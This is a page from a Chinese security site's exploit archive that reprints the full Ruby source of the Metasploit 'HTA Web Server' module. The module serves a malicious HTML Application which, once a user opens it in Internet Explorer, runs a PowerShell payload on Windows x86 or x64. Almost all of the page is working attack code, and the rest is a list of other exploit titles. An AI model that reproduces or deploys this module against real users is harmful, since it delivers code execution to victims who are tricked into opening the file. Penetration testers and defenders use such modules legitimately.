首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HTA Web Server
来源:metasploit.com 作者:McIntyre 发布时间:2016-10-13  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTA Web Server',
      'Description'    => %q(
        This module hosts an HTML Application (HTA) that when opened will run a
        payload via Powershell. When a user navigates to the HTA file they will
        be prompted by IE twice before the payload is executed.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => 'Spencer McIntyre',
      'References'     =>
        [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
      # space is restricted by the powershell command limit
      'Payload'        => { 'DisableNops' => true, 'Space' => 2048 },
      'Platform'       => %w(win),
      'Targets'        =>
        [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 06 2016'
    ))
  end

  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end

  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Powershell Payload Execution
·Subversion 1.6.6 / 1.6.12 - Co
·Linux Kernel 3.13.1 Recvmmsg P
·VOX Music Player 2.8.8 - '.pls
·Allwinner 3.4 Legacy Kernel Lo
·Ruby on Rails Dynamic Render F
·HP Client - Automation Command
·Firefox 49.0.1 - Denial of Ser
·Apache Tomcat 8/7/6 (RedHat-Ba
·Ruby on Rails - Dynamic Render
·Billion Router 7700NR4 - Remot
·Microsoft Windows Diagnostics
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved